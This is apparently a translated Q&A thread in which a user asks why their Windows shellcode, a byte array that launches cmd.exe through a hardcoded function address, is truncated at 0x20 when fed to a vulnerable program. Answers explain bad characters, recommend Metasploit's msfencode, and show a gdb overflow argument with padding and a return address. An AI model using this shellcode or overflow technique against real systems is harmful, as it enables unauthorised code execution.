шеллкод усекается на \x20
Вопрос
Почему мой шеллкод обрезается после \x20
код операции, когда он копируется по строке в стек второй уязвимой программы?
--cmd.exe-- char shell[]= "\xc7\x44\x24\x0c\x65\x78\x65\x20" ← only this line is put in stack, though hv a enough space "\xc7\x44\x24\x08\x63\x6d\x64\x2e" "\x31\xc0" "\x89\x44\x24\x04" "\x8d\x44\x24\x08" "\x89\x04\x24" "\x8d\x05\xad\x23\x86\x7c" "\xff\xd0"; --end shell--
Решение
Вы передаете этот шеллкод в качестве аргумента командной строки?В этом случае взгляните на ASCII-код 0x20;)
Другие советы
Моя теория состоит в том, что такие вещи, как кавычки, пробелы, ноль и т. д., интерпретируются оболочкой Windows, а не пересылаются.Вы могли бы как-то избежать этого, но я думаю, что проще просто закодировать шеллкод.Поэтому попробуйте утилиту msfencode из Metasploit, чтобы вообще избежать этих кодов операций.Я знаю, что значение null (/x00), пробел (/x20) и кавычка (/x22) не могут быть переданы напрямую, но я предполагаю, что существуют и другие коды операций, которые также нельзя передать.
Это мое решение, но знает ли кто-нибудь другие, которые лучше?
Заключите всю команду в двойные кавычки.Например, запустите:
"$shellcode" (gdb)r "$(python -c 'print "\x41" * 100 + "\x20\x83\x04\x08" + ....')"